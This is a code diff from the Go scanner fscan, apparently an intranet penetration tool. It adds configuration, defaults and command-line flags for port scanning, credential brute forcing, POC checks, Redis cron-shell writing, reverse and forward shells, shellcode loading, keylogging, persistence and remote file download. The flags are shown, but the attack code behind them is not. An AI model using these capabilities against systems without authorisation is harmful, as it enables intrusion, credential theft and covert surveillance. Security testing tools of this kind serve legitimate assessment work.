// LocalExploitConfig 本地利用相关配置
type LocalExploitConfig struct {
ReverseShellTarget string // 反弹Shell目标
ForwardShellPort int // 正向Shell端口
KeyloggerOutputFile string // 键盘记录输出文件
DownloadURL string // 下载URL
DownloadSavePath string // 下载保存路径
}
// NewConfig 创建带默认值的Config(后备用,正常流程使用BuildConfigFromFlags
func NewConfig() *Config {
return &Config{
// 高频字段 - 使用默认常量
Timeout: time.Duration(DefaultTimeout) * time.Second,
ThreadNum: DefaultThreadNum,
ModuleThreadNum: 10,
DisableBrute: false,
DisablePing: false,
DisableTcpProbe: false,
// 扫描模式
Mode: DefaultScanMode,
LocalMode: false,
AliveOnly: false,
MaxRetries: 3,
// 高级功能 - 使用默认配置
PortMap: config.DefaultPortMap,
DefaultMap: config.DefaultProbeMap,
// 分组配置 - 使用默认字典
Credentials: CredentialConfig{
Userdict: config.DefaultUserDict,
Passwords: config.DefaultPasswords,
UserPassPairs: nil,
},
Network: NetworkConfig{
WebTimeout: time.Duration(5) * time.Second,
MaxRedirects: 10,
ICMPRate: 0.1,
},
Output: OutputConfig{
File: "result.txt",
Format: "txt",
ShowProgress: true,
LogLevel: DefaultLogLevel,
Language: DefaultLanguage,
},
POC: POCConfig{
Num: 20,
},
LocalExploit: LocalExploitConfig{
ForwardShellPort: 4444,
},
}
}
+100
View File
@@ -0,0 +1,100 @@
//go:build debug
// +build debug
package debug
import (
"fmt"
"os"
"runtime"
"runtime/pprof"
"runtime/trace"
)
var (
cpuProfile *os.File
traceFile *os.File
profilesPath = "./profiles"
)
func Start() {
if err := os.MkdirAll(profilesPath, 0755); err != nil {
fmt.Printf("[DEBUG] 创建 profiles 目录失败: %v\n", err)
return
}
var err error
cpuProfile, err = os.Create(profilesPath + "/cpu.prof")
if err != nil {
fmt.Printf("[DEBUG] 创建 CPU profile 失败: %v\n", err)
} else {
if err := pprof.StartCPUProfile(cpuProfile); err != nil {
fmt.Printf("[DEBUG] 启动 CPU profile 失败: %v\n", err)
cpuProfile.Close()
cpuProfile = nil
} else {
fmt.Printf("[DEBUG] CPU profiling 已启动 -> %s/cpu.prof\n", profilesPath)
}
}
traceFile, err = os.Create(profilesPath + "/trace.out")
if err != nil {
fmt.Printf("[DEBUG] 创建 trace 文件失败: %v\n", err)
} else {
if err := trace.Start(traceFile); err != nil {
fmt.Printf("[DEBUG] 启动 trace 失败: %v\n", err)
traceFile.Close()
traceFile = nil
} else {
fmt.Printf("[DEBUG] Execution trace 已启动 -> %s/trace.out\n", profilesPath)
}
}
fmt.Printf("[DEBUG] 性能分析已启动,程序结束时自动保存到 %s/\n", profilesPath)
}
func Stop() {
if cpuProfile != nil {
pprof.StopCPUProfile()
cpuProfile.Close()
fmt.Printf("[DEBUG] CPU profile 已保存\n")
}
if traceFile != nil {
trace.Stop()
traceFile.Close()
fmt.Printf("[DEBUG] Trace 已保存\n")
}
memProfile, err := os.Create(profilesPath + "/mem.prof")
if err != nil {
fmt.Printf("[DEBUG] 创建内存 profile 失败: %v\n", err)
} else {
runtime.GC()
if err := pprof.WriteHeapProfile(memProfile); err != nil {
fmt.Printf("[DEBUG] 写入内存 profile 失败: %v\n", err)
} else {
fmt.Printf("[DEBUG] 内存 profile 已保存 -> %s/mem.prof\n", profilesPath)
}
memProfile.Close()
}
goroutineProfile, err := os.Create(profilesPath + "/goroutine.prof")
if err != nil {
fmt.Printf("[DEBUG] 创建 goroutine profile 失败: %v\n", err)
} else {
if err := pprof.Lookup("goroutine").WriteTo(goroutineProfile, 0); err != nil {
fmt.Printf("[DEBUG] 写入 goroutine profile 失败: %v\n", err)
} else {
fmt.Printf("[DEBUG] Goroutine profile 已保存 -> %s/goroutine.prof\n", profilesPath)
}
goroutineProfile.Close()
}
fmt.Printf("\n[DEBUG] 所有性能分析文件已保存到 %s/\n", profilesPath)
fmt.Printf("[DEBUG] 查看方法:\n")
fmt.Printf(" CPU 火焰图: go tool pprof -http=:8081 %s/cpu.prof\n", profilesPath)
fmt.Printf(" 内存火焰图: go tool pprof -http=:8081 %s/mem.prof\n", profilesPath)
fmt.Printf(" 协程分析: go tool pprof -http=:8081 %s/goroutine.prof\n", profilesPath)
fmt.Printf(" 执行时间线: go tool trace %s/trace.out\n", profilesPath)
}
+9
View File
@@ -0,0 +1,9 @@
//go:build !debug
// +build !debug
package debug
// 生产版本:pprof 完全不编译进来
func Start() {}
func Stop() {}
+28
View File
@@ -0,0 +1,28 @@
package common
import (
"net"
"sync"
)
// DNSCache 并发安全的 DNS 解析缓存
// 对纯 IP 输入零开销(直接返回),对域名避免重复系统调用
var DNSCache = &dnsCache{}
type dnsCache struct {
m sync.Map // host -> *net.IPAddr
}
// ResolveIP 解析 host 为 *net.IPAddr,结果缓存
func (c *dnsCache) ResolveIP(host string) (*net.IPAddr, error) {
if v, ok := c.m.Load(host); ok {
addr, _ := v.(*net.IPAddr)
return addr, nil
}
addr, err := net.ResolveIPAddr("ip", host)
if err != nil {
return nil, err
}
c.m.Store(host, addr)
return addr, nil
}
+299 -35
View File
@@ -1,47 +1,311 @@
package common
import (
"errors"
"flag"
"fmt"
"os"
"strings"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/common/config"
"github.com/shadow1ng/fscan/common/i18n"
)
// ErrShowHelp 表示用户请求显示帮助(正常退出)
var ErrShowHelp = errors.New("show help requested")
// Banner 显示程序横幅信息
func Banner() {
banner := `
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.5.1
`
print(banner)
// 静默模式下完全跳过Banner显示
if flagVars.Silent {
return
}
// 定义暗绿色系
colors := []color.Attribute{
color.FgGreen, // 基础绿
color.FgHiGreen, // 亮绿
}
lines := []string{
" ___ _ ",
" / _ \\ ___ ___ _ __ __ _ ___| | __ ",
" / /_\\/____/ __|/ __| '__/ _` |/ __| |/ /",
"/ /_\\\\_____\\__ \\ (__| | | (_| | (__| < ",
"\\____/ |___/\\___|_| \\__,_|\\___|_|\\_\\ ",
}
// 获取最长行的长度
maxLength := 0
for _, line := range lines {
if len(line) > maxLength {
maxLength = len(line)
}
}
// 创建边框
topBorder := "┌" + strings.Repeat("─", maxLength+2) + "┐"
bottomBorder := "└" + strings.Repeat("─", maxLength+2) + "┘"
// 打印banner
fmt.Println(topBorder)
for lineNum, line := range lines {
fmt.Print("│ ")
if flagVars.NoColor {
// 无色彩模式下使用普通文本
fmt.Print(line)
} else {
// 使用对应的颜色打印每个字符
c := color.New(colors[lineNum%2])
_, _ = c.Print(line)
}
// 补齐空格
padding := maxLength - len(line)
fmt.Printf("%s │\n", strings.Repeat(" ", padding))
}
fmt.Println(bottomBorder)
// 打印版本信息
versionStr := fmt.Sprintf(" Fscan %s (%s %s)", version, commit, date)
if commit == "unknown" {
versionStr = fmt.Sprintf(" Fscan %s", version)
}
if flagVars.NoColor {
fmt.Printf("%s\n\n", versionStr)
} else {
c := color.New(colors[1])
_, _ = c.Printf("%s\n\n", versionStr)
}
}
func Flag(Info *HostInfo) {
Banner()
flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12")
flag.StringVar(&Info.Ports, "p", DefaultPorts, "Select a port,for example: 22 | 1-65535 | 22,80,3306")
flag.StringVar(&Info.Command, "c", "", "exec command (ssh)")
flag.StringVar(&Info.Domain, "domain", "", "smb domain")
flag.StringVar(&Info.Username, "user", "", "username")
flag.StringVar(&Info.Password, "pwd", "", "password")
flag.Int64Var(&Info.Timeout, "time", 3, "Set timeout")
flag.Int64Var(&Info.WebTimeout, "wt", 5, "Set web timeout")
flag.StringVar(&Info.Scantype, "m", "all", "Select scan type ,as: -m ssh")
// Flag 解析命令行参数并配置扫描选项
// 返回ErrShowHelp表示用户请求帮助(正常退出),其他error表示参数错误
func Flag(Info *HostInfo) error {
// 预处理语言设置 - 在定义flag之前检查lang参数
preProcessLanguage()
flag.IntVar(&Threads, "t", 200, "Thread nums")
flag.StringVar(&HostFile, "hf", "", "host file, -hs ip.txt")
flag.StringVar(&Userfile, "userf", "", "username file")
flag.StringVar(&Passfile, "pwdf", "", "password file")
flag.StringVar(&RedisFile, "rf", "", "redis file to write sshkey file (as: -rf id_rsa.pub) ")
flag.StringVar(&RedisShell, "rs", "", "redis shell to write cron file (as: -rs 192.168.1.1:6666) ")
flag.BoolVar(&IsWebCan, "nopoc", false, "not to scan web vul")
flag.BoolVar(&IsPing, "np", false, "not to ping")
flag.BoolVar(&Ping, "ping", false, "using ping replace icmp")
flag.StringVar(&TmpOutputfile, "o", "result.txt", "Outputfile")
flag.BoolVar(&TmpSave, "no", false, "not to save output log")
flag.BoolVar(&LogErr, "debug", false, "debug mode will print more error info")
flag.StringVar(&Pocinfo.PocName, "pocname", "", "use the pocs these contain pocname, -pocname weblogic")
flag.StringVar(&Pocinfo.Proxy, "proxy", "", "set poc proxy, -proxy http://127.0.0.1:8080")
flag.IntVar(&Pocinfo.Num, "Num", 20, "poc rate")
fv := flagVars // 使用全局 FlagVars 实例
// ═════════════════════════════════════════════════
// 目标配置参数
// ═════════════════════════════════════════════════
flag.StringVar(&Info.Host, "h", "", i18n.GetText("flag_host"))
flag.StringVar(&fv.ExcludeHosts, "eh", "", i18n.GetText("flag_exclude_hosts"))
flag.StringVar(&fv.ExcludeHostsFile, "ehf", "", i18n.GetText("flag_exclude_hosts_file"))
flag.StringVar(&fv.Ports, "p", config.MainPorts, i18n.GetText("flag_ports"))
flag.StringVar(&fv.ExcludePorts, "ep", "", i18n.GetText("flag_exclude_ports"))
flag.StringVar(&fv.HostsFile, "hf", "", i18n.GetText("flag_hosts_file"))
flag.StringVar(&fv.PortsFile, "pf", "", i18n.GetText("flag_ports_file"))
// ═════════════════════════════════════════════════
// 扫描控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.ScanMode, "m", "all", i18n.GetText("flag_scan_mode"))
flag.IntVar(&fv.ThreadNum, "t", 600, i18n.GetText("flag_thread_num"))
flag.Int64Var(&fv.TimeoutSec, "time", 3, i18n.GetText("flag_timeout"))
flag.IntVar(&fv.ModuleThreadNum, "mt", 20, i18n.GetText("flag_module_thread_num"))
flag.Int64Var(&fv.GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
flag.BoolVar(&fv.DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
flag.BoolVar(&fv.DisableTcpProbe, "ntp", false, i18n.GetText("flag_disable_tcp_probe"))
flag.StringVar(&fv.LocalPlugin, "local", "", "指定本地插件名称 (如: cleaner, avdetect, keylogger 等)")
flag.BoolVar(&fv.AliveOnly, "ao", false, i18n.GetText("flag_alive_only"))
// ═════════════════════════════════════════════════
// 认证与凭据参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.Username, "user", "", i18n.GetText("flag_username"))
flag.StringVar(&fv.Password, "pwd", "", i18n.GetText("flag_password"))
flag.StringVar(&fv.AddUsers, "usera", "", i18n.GetText("flag_add_users"))
flag.StringVar(&fv.AddPasswords, "pwda", "", i18n.GetText("flag_add_passwords"))
flag.StringVar(&fv.UsersFile, "userf", "", i18n.GetText("flag_users_file"))
flag.StringVar(&fv.PasswordsFile, "pwdf", "", i18n.GetText("flag_passwords_file"))
flag.StringVar(&fv.UserPassFile, "upf", "", i18n.GetText("flag_userpass_file"))
flag.StringVar(&fv.HashFile, "hashf", "", i18n.GetText("flag_hash_file"))
flag.StringVar(&fv.HashValue, "hash", "", i18n.GetText("flag_hash_value"))
flag.StringVar(&fv.Domain, "domain", "", i18n.GetText("flag_domain"))
flag.StringVar(&fv.SSHKeyPath, "sshkey", "", i18n.GetText("flag_ssh_key"))
// ═════════════════════════════════════════════════
// Web扫描参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.TargetURL, "u", "", i18n.GetText("flag_target_url"))
flag.StringVar(&fv.URLsFile, "uf", "", i18n.GetText("flag_urls_file"))
flag.StringVar(&fv.Cookie, "cookie", "", i18n.GetText("flag_cookie"))
flag.Int64Var(&fv.WebTimeout, "wt", 5, i18n.GetText("flag_web_timeout"))
flag.IntVar(&fv.MaxRedirects, "max-redirect", 10, i18n.GetText("flag_max_redirects"))
flag.StringVar(&fv.HTTPProxy, "proxy", "", i18n.GetText("flag_http_proxy"))
flag.StringVar(&fv.Socks5Proxy, "socks5", "", i18n.GetText("flag_socks5_proxy"))
flag.StringVar(&fv.Iface, "iface", "", i18n.GetText("flag_iface"))
// ═════════════════════════════════════════════════
// POC测试参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.PocPath, "pocpath", "", i18n.GetText("flag_poc_path"))
flag.StringVar(&fv.PocName, "pocname", "", i18n.GetText("flag_poc_name"))
flag.BoolVar(&fv.PocFull, "full", false, i18n.GetText("flag_poc_full"))
flag.BoolVar(&fv.DNSLog, "dns", false, i18n.GetText("flag_dns_log"))
flag.IntVar(&fv.PocNum, "num", 20, i18n.GetText("flag_poc_num"))
flag.BoolVar(&fv.DisablePocScan, "nopoc", false, i18n.GetText("flag_no_poc"))
// ═════════════════════════════════════════════════
// Redis利用参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.RedisFile, "rf", "", i18n.GetText("flag_redis_file"))
flag.StringVar(&fv.RedisShell, "rs", "", i18n.GetText("flag_redis_shell"))
flag.StringVar(&fv.RedisWritePath, "rwp", "", i18n.GetText("flag_redis_write_path"))
flag.StringVar(&fv.RedisWriteContent, "rwc", "", i18n.GetText("flag_redis_write_content"))
flag.StringVar(&fv.RedisWriteFile, "rwf", "", i18n.GetText("flag_redis_write_file"))
flag.BoolVar(&fv.DisableRedis, "noredis", false, i18n.GetText("flag_disable_redis"))
// ═════════════════════════════════════════════════
// 暴力破解控制参数
// ═════════════════════════════════════════════════
flag.BoolVar(&fv.DisableBrute, "nobr", false, i18n.GetText("flag_disable_brute"))
flag.IntVar(&fv.MaxRetries, "retry", 3, i18n.GetText("flag_max_retries"))
// ═════════════════════════════════════════════════
// 发包频率控制参数
// ═════════════════════════════════════════════════
flag.Int64Var(&fv.PacketRateLimit, "rate", 0, i18n.GetText("flag_packet_rate_limit"))
flag.Int64Var(&fv.MaxPacketCount, "maxpkts", 0, i18n.GetText("flag_max_packet_count"))
flag.Float64Var(&fv.ICMPRate, "icmp-rate", 0.1, i18n.GetText("flag_icmp_rate"))
// ═════════════════════════════════════════════════
// 输出与显示控制参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.Outputfile, "o", "result.txt", i18n.GetText("flag_output_file"))
flag.StringVar(&fv.OutputFormat, "f", "txt", i18n.GetText("flag_output_format"))
flag.BoolVar(&fv.DisableSave, "no", false, i18n.GetText("flag_disable_save"))
flag.BoolVar(&fv.Silent, "silent", false, i18n.GetText("flag_silent_mode"))
flag.BoolVar(&fv.NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
flag.StringVar(&fv.LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
flag.BoolVar(&fv.Debug, "debug", false, i18n.GetText("flag_debug"))
flag.BoolVar(&fv.DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
flag.BoolVar(&fv.PerfStats, "perf", false, "输出性能统计JSON")
// ═════════════════════════════════════════════════
// 其他参数
// ═════════════════════════════════════════════════
flag.StringVar(&fv.Shellcode, "sc", "", i18n.GetText("flag_shellcode"))
flag.StringVar(&fv.ReverseShellTarget, "rsh", "", i18n.GetText("flag_reverse_shell_target"))
flag.IntVar(&fv.Socks5ProxyPort, "start-socks5", 0, i18n.GetText("flag_start_socks5_server"))
flag.IntVar(&fv.ForwardShellPort, "fsh-port", 4444, i18n.GetText("flag_forward_shell_port"))
flag.StringVar(&fv.PersistenceTargetFile, "persistence-file", "", i18n.GetText("flag_persistence_file"))
flag.StringVar(&fv.WinPEFile, "win-pe", "", i18n.GetText("flag_win_pe_file"))
flag.StringVar(&fv.KeyloggerOutputFile, "keylog-output", "keylog.txt", i18n.GetText("flag_keylogger_output"))
// 文件下载插件参数
flag.StringVar(&fv.DownloadURL, "download-url", "", i18n.GetText("flag_download_url"))
flag.StringVar(&fv.DownloadSavePath, "download-path", "", i18n.GetText("flag_download_path"))
flag.StringVar(&fv.Language, "lang", "zh", i18n.GetText("flag_language"))
// 帮助参数
flag.BoolVar(&fv.ShowHelp, "help", false, i18n.GetText("flag_help"))
// 解析命令行参数
if err := parseCommandLineArgs(); err != nil {
return err
}
// 设置语言
i18n.SetLanguage(fv.Language)
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
if fv.ShowHelp || shouldShowHelp(Info, fv) {
flag.Usage()
return ErrShowHelp
}
return nil
}
// parseCommandLineArgs 解析命令行参数
func parseCommandLineArgs() error {
flag.Parse()
// 显示Banner
Banner()
// 检查参数冲突
return checkParameterConflicts()
}
// preProcessLanguage 预处理语言参数,在定义flag之前设置语言
func preProcessLanguage() {
// 遍历命令行参数查找-lang参数
for i, arg := range os.Args {
if arg == "-lang" && i+1 < len(os.Args) {
lang := os.Args[i+1]
if lang == "en" || lang == "zh" {
flagVars.Language = lang
i18n.SetLanguage(lang)
return
}
} else if strings.HasPrefix(arg, "-lang=") {
lang := strings.TrimPrefix(arg, "-lang=")
if lang == "en" || lang == "zh" {
flagVars.Language = lang
i18n.SetLanguage(lang)
return
}
}
}
// 检查环境变量
envLang := os.Getenv("FS_LANG")
if envLang == "en" || envLang == "zh" {
flagVars.Language = envLang
i18n.SetLanguage(envLang)
}
}
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo, fv *FlagVars) bool {
// Web模式不需要目标参数
if WebMode {
return false
}
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || fv.TargetURL != "" || fv.HostsFile != "" || fv.URLsFile != ""
// 本地模式需要指定插件才算有效目标
if fv.LocalPlugin != "" {
hasTarget = true
}
// 如果没有提供任何扫描目标,则显示帮助
return !hasTarget
}
// checkParameterConflicts 检查参数冲突和兼容性
// 返回error而不是调用os.Exit,让调用者决定如何处理
func checkParameterConflicts() error {
fv := flagVars
// -debug 等价于 -log debug
if fv.Debug {
fv.LogLevel = LogLevelDebug
}
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
if fv.AliveOnly && fv.ScanMode == "icmp" {
LogInfo(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地插件参数
if fv.LocalPlugin != "" {
// 检查是否包含分隔符(确保只能指定单个插件)
invalidChars := []string{",", ";", " ", "|", "&"}
for _, char := range invalidChars {
if strings.Contains(fv.LocalPlugin, char) {
return fmt.Errorf("本地插件只能指定单个插件,不支持使用 '%s' 分隔的多个插件", char)
}
}
}
return nil
}
+227
View File
@@ -0,0 +1,227 @@
package common
import (
"time"
"github.com/shadow1ng/fscan/common/config"
)
/*
flag_config.go - 命令行参数直接解析到Config
flag直接写入配置结构
*/
// =============================================================================
// FlagVars - 命令行参数原始值
// =============================================================================
// FlagVars 存储命令行解析的原始值
// 某些字段需要类型转换(如 int64 秒 → time.Duration
type FlagVars struct {
// 目标配置
Host string
ExcludeHosts string
ExcludeHostsFile string
Ports string
ExcludePorts string
AddPorts string
HostsFile string
PortsFile string
// 扫描控制
ScanMode string
ThreadNum int
ModuleThreadNum int
TimeoutSec int64 // 秒,需转换为 time.Duration
GlobalTimeout int64
DisablePing bool
DisableTcpProbe bool
LocalPlugin string
AliveOnly bool
DisableBrute bool
MaxRetries int
// 认证凭据
Username string
Password string
AddUsers string
AddPasswords string
UsersFile string
PasswordsFile string
UserPassFile string
HashFile string
HashValue string
Domain string
SSHKeyPath string
// Web扫描
TargetURL string
URLsFile string
Cookie string
UserAgent string
Accept string
WebTimeout int64 // 秒
MaxRedirects int
HTTPProxy string
Socks5Proxy string
Iface string
// POC测试
PocPath string
PocName string
PocFull bool
DNSLog bool
PocNum int
DisablePocScan bool
// Redis利用
RedisFile string
RedisShell string
RedisWritePath string
RedisWriteContent string
RedisWriteFile string
DisableRedis bool
// 发包频率
PacketRateLimit int64
MaxPacketCount int64
ICMPRate float64
// 输出控制
Outputfile string
OutputFormat string
DisableSave bool
Silent bool
NoColor bool
LogLevel string
Debug bool
DisableProgress bool
PerfStats bool
Language string
// 高级功能
Shellcode string
ReverseShellTarget string
Socks5ProxyPort int
ForwardShellPort int
PersistenceTargetFile string
WinPEFile string
KeyloggerOutputFile string
DownloadURL string
DownloadSavePath string
// 帮助
ShowHelp bool
}
// =============================================================================
// 全局 FlagVars 实例(仅在解析阶段使用)
// =============================================================================
var flagVars = &FlagVars{}
// GetFlagVars 获取解析后的命令行参数(供 parse.go 等使用)
func GetFlagVars() *FlagVars {
return flagVars
}
// =============================================================================
// BuildConfigFromFlags - 从 FlagVars 构建 Config
// =============================================================================
// BuildConfigFromFlags 从命令行参数构建配置对象
func BuildConfigFromFlags(fv *FlagVars) *Config {
return &Config{
// 高频字段
Timeout: time.Duration(fv.TimeoutSec) * time.Second,
ThreadNum: fv.ThreadNum,
ModuleThreadNum: fv.ModuleThreadNum,
DisableBrute: fv.DisableBrute,
DisablePing: fv.DisablePing,
DisableTcpProbe: fv.DisableTcpProbe,
// 扫描模式
Mode: fv.ScanMode,
LocalMode: fv.LocalPlugin != "",
LocalPlugin: fv.LocalPlugin,
AliveOnly: fv.AliveOnly,
MaxRetries: fv.MaxRetries,
// 高级功能
Shellcode: fv.Shellcode,
LocalPluginsList: nil, // 后续解析
DNSLog: fv.DNSLog,
PersistenceTargetFile: fv.PersistenceTargetFile,
WinPEFile: fv.WinPEFile,
PortMap: config.DefaultPortMap,
DefaultMap: config.DefaultProbeMap,
// SOCKS5代理端口
Socks5ProxyPort: fv.Socks5ProxyPort,
// 分组配置
Credentials: CredentialConfig{
Username: fv.Username,
Password: fv.Password,
Domain: fv.Domain,
Userdict: config.DefaultUserDict,
Passwords: config.DefaultPasswords,
UserPassPairs: nil, // 后续解析
SSHKeyPath: fv.SSHKeyPath,
},
Network: NetworkConfig{
HTTPProxy: fv.HTTPProxy,
Socks5Proxy: fv.Socks5Proxy,
Iface: fv.Iface,
WebTimeout: time.Duration(fv.WebTimeout) * time.Second,
MaxRedirects: fv.MaxRedirects,
PacketRateLimit: fv.PacketRateLimit,
MaxPacketCount: fv.MaxPacketCount,
ICMPRate: fv.ICMPRate,
},
Output: OutputConfig{
File: fv.Outputfile,
Format: fv.OutputFormat,
DisableSave: fv.DisableSave,
NoColor: fv.NoColor,
Silent: fv.Silent,
DisableProgress: fv.DisableProgress,
ShowProgress: !fv.DisableProgress,
LogLevel: fv.LogLevel,
Language: fv.Language,
PerfStats: fv.PerfStats,
},
POC: POCConfig{
PocPath: fv.PocPath,
PocName: fv.PocName,
Full: fv.PocFull,
Num: fv.PocNum,
Disabled: fv.DisablePocScan,
},
Redis: RedisConfig{
Disabled: fv.DisableRedis,
File: fv.RedisFile,
Shell: fv.RedisShell,
WritePath: fv.RedisWritePath,
WriteContent: fv.RedisWriteContent,
WriteFile: fv.RedisWriteFile,
},
HTTP: HTTPConfig{
Cookie: fv.Cookie,
UserAgent: fv.UserAgent,
Accept: fv.Accept,
},
LocalExploit: LocalExploitConfig{
ReverseShellTarget: fv.ReverseShellTarget,
ForwardShellPort: fv.ForwardShellPort,
KeyloggerOutputFile: fv.KeyloggerOutputFile,
DownloadURL: fv.DownloadURL,
DownloadSavePath: fv.DownloadSavePath,
},
Target: TargetConfig{
Ports: fv.Ports,
ExcludePorts: fv.ExcludePorts,
},
}
}
+1162
View File
File diff suppressed because it is too large Load Diff
+16
View File
@@ -0,0 +1,16 @@
//go:build web
package common
import "flag"
// WebMode 表示是否启动Web管理界面
var WebMode bool
// WebPort Web服务器端口
var WebPort int
func init() {
flag.BoolVar(&WebMode, "web", false, "启动Web管理界面 (Start Web UI)")
flag.IntVar(&WebPort, "webport", 10240, "Web服务器端口 (Web server port)")
}
+9
View File
@@ -0,0 +1,9 @@
//go:build !web
package common
// WebMode 非Web版本永远为false
var WebMode = false
// WebPort 非Web版本不使用
var WebPort = 0
+223
View File
@@ -0,0 +1,223 @@
package common
import (
"errors"
"fmt"
"strings"
"sync"
)
/*
globals.go - 全局配置变量
运行时数据和必要的全局状态
命令行参数现通过 GetFlagVars() 访问配置通过 GetGlobalConfig() 访问
*/
// =============================================================================
// 核心数据结构
// =============================================================================
// HostInfo 主机信息结构 - 最核心的数据结构
type HostInfo struct {
Host string // 主机地址
Port int // 端口号(单个端口)
URL string // URL地址
Info []string // 附加信息
}
// Target 返回 host:port 格式字符串
func (h *HostInfo) Target() string {
return fmt.Sprintf("%s:%d", h.Host, h.Port)
}
// =============================================================================
// 默认配置常量
// =============================================================================
const (
// DefaultThreadNum 默认线程数
DefaultThreadNum = 600
// DefaultTimeout 默认超时时间(秒)
DefaultTimeout = 3
// DefaultScanMode 默认扫描模式
DefaultScanMode = "all"
// DefaultLanguage 默认语言
DefaultLanguage = "zh"
// DefaultLogLevel 默认日志级别
DefaultLogLevel = "base"
)
// 日志级别常量
const (
LogLevelAll = "all"
LogLevelError = "error"
LogLevelBase = "base"
LogLevelInfo = "info"
LogLevelSuccess = "success"
LogLevelDebug = "debug"
LogLevelInfoSuccess = "info,success"
LogLevelBaseInfoSuccess = "base,info,success"
)
// 版本信息,通过 ldflags 注入
var (
version = "2.1.3"
commit = "unknown"
date = "unknown"
)
// 运行时数据已迁移到Config对象中,使用GetGlobalConfig()访问
// Shell状态已迁移到State对象中,使用GetGlobalState()访问
// POC配置、输出控制、发包控制、初始化已迁移到Config/State对象中
// =============================================================================
// 发包限制错误类型
// =============================================================================
// 哨兵错误 - 用于 errors.Is 判断
var (
ErrMaxPacketReached = errors.New("max packet count reached")
ErrPacketRateLimited = errors.New("packet rate limited")
)
// PacketLimitError 发包限制错误(包含详情)
type PacketLimitError struct {
Sentinel error // ErrMaxPacketReached 或 ErrPacketRateLimited
Limit int64
Current int64
}
func (e *PacketLimitError) Error() string {
if e.Sentinel == ErrMaxPacketReached {
return fmt.Sprintf("已达到最大发包数量限制: %d", e.Limit)
}
return fmt.Sprintf("发包速率受限: %d包/分钟", e.Limit)
}
func (e *PacketLimitError) Unwrap() error {
return e.Sentinel
}
// =============================================================================
// 发包频率控制功能
// =============================================================================
// CanSendPacketWith 检查是否可以发包 - 同时检查频率限制和总数限制
// 返回值: (可以发包, 错误)
func CanSendPacketWith(config *Config, state *State) (bool, error) {
// 检查总数限制
maxPacketCount := config.Network.MaxPacketCount
if maxPacketCount > 0 {
currentTotal := state.GetPacketCount()
if currentTotal >= maxPacketCount {
return false, &PacketLimitError{
Sentinel: ErrMaxPacketReached,
Limit: maxPacketCount,
Current: currentTotal,
}
}
}
// 检查频率限制
return state.CheckAndIncrementPacketRate(config.Network.PacketRateLimit)
}
// CanSendPacket 便捷API - 使用全局配置和状态
// 内部调用 CanSendPacketWith,保持向后兼容(返回string)
func CanSendPacket() (bool, string) {
ok, err := CanSendPacketWith(GetGlobalConfig(), GetGlobalState())
if err != nil {
return ok, err.Error()
}
return ok, ""
}
// =============================================================================
// 全局 Config 和 State 实例(新架构)
// =============================================================================
var (
// globalConfig 全局配置实例(小写,不直接暴露)
globalConfig *Config
// globalState 全局状态实例(小写,不直接暴露)
globalState *State
// globalMu 保护全局变量的读写锁
globalMu sync.RWMutex
)
// GetGlobalConfig 获取全局配置实例(线程安全)
// 使用读写锁保护,避免竞态条件
func GetGlobalConfig() *Config {
globalMu.RLock()
cfg := globalConfig
globalMu.RUnlock()
if cfg != nil {
return cfg
}
// 需要初始化,获取写锁
globalMu.Lock()
defer globalMu.Unlock()
// 双重检查,避免重复初始化
if globalConfig == nil {
globalConfig = NewConfig()
}
return globalConfig
}
// SetGlobalConfig 设置全局配置实例(线程安全)
func SetGlobalConfig(cfg *Config) {
globalMu.Lock()
globalConfig = cfg
globalMu.Unlock()
}
// GetGlobalState 获取全局状态实例(线程安全)
// 使用读写锁保护,避免竞态条件
func GetGlobalState() *State {
globalMu.RLock()
st := globalState
globalMu.RUnlock()
if st != nil {
return st
}
// 需要初始化,获取写锁
globalMu.Lock()
defer globalMu.Unlock()
// 双重检查,避免重复初始化
if globalState == nil {
globalState = NewState()
}
return globalState
}
// SetGlobalState 设置全局状态实例(线程安全)
func SetGlobalState(state *State) {
globalMu.Lock()
globalState = state
globalMu.Unlock()
}
// =============================================================================
// 字符串工具函数
// =============================================================================
// ContainsAny 检查字符串是否包含任意一个子串
func ContainsAny(s string, substrs ...string) bool {
for _, substr := range substrs {
if strings.Contains(s, substr) {
return true
}
}
return false
}
+6
View File
@@ -0,0 +1,6 @@
package i18n
import "embed"
//go:embed locales/*.yaml
var localeFS embed.FS
+89
View File
@@ -0,0 +1,89 @@
package i18n
import (
"fmt"
"sync"
"github.com/nicksnyder/go-i18n/v2/i18n"
"golang.org/x/text/language"
"gopkg.in/yaml.v3"
)
// 支持的语言常量
const (
LangZH = "zh"
LangEN = "en"
)
// 默认配置
const (
DefaultLanguage = LangZH
FallbackLanguage = LangEN
)
var (
bundle *i18n.Bundle
localizer *i18n.Localizer
lang = DefaultLanguage
mu sync.RWMutex
)
func init() {
bundle = i18n.NewBundle(language.Chinese)
bundle.RegisterUnmarshalFunc("yaml", yaml.Unmarshal)
// 从embed加载翻译文件
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/zh.yaml"); err != nil {
panic(fmt.Sprintf("failed to load zh.yaml: %v", err))
}
if _, err := bundle.LoadMessageFileFS(localeFS, "locales/en.yaml"); err != nil {
panic(fmt.Sprintf("failed to load en.yaml: %v", err))
}
localizer = i18n.NewLocalizer(bundle, lang, FallbackLanguage)
}
// SetLanguage 设置当前语言
